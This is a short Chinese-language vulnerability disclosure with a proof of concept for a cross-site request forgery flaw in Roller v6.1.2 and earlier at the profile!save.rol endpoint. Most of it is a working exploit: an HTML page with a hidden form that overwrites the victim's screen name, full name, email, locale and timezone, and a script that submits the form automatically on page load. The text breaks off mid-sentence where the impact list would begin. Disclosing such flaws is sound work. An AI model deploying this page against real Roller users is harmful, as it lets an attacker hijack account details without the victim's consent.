Roller v6.1.2 及以下版本被发现其端点 /roller/roller-ui/profile!save.rol 存在跨站请求伪造 (CSRF) 漏洞。
该漏洞允许攻击者通过精心构造的 HTML 页面,任意修改受害用户的个人信息(例如电子邮件、全名、区域设置、时区)。
该漏洞允许未经授权的请求发送至 /roller/roller-ui/profile!save.rol,从而在缺乏 CSRF 保护的情况下更新用户配置文件。
<html>
<head>
<form id="exploitForm" action="http://localhost:8080/roller/roller-ui/profile!save.rol" method="POST">
<input name="bean.userName" value="vanlam" type="hidden">
<input name="bean.screenName" value="hacked" type="hidden">
<input name="bean.fullName" value="hacked" type="hidden">
<input name="bean.emailAddress" value="[email protected]" type="hidden">
<input name="bean.passwordText" value="" type="hidden">
<input name="bean.passwordConfirm" value="" type="hidden">
<input name="bean.locale" value="vi_VN" type="hidden">
<input name="bean.timeZone" value="Asia/Bangkok" type="hidden">
</form>
<script>
document.getElementById('exploitForm').submit();
</script>
</head>
</html>
bean.userName: vanlambean.screenName: hackedbean.fullName: hackedbean.emailAddress: [email protected]bean.passwordText: (空)bean.passwordConfirm: (空)bean.locale: vi_VNbean.timeZone: Asia/Bangkok攻击者可以构造一个恶意 HTML 页面,当已认证的 Roller 用户访问该页面时,会自动提交表单来修改受害者的个人信息,而无需用户同意。这可能造成: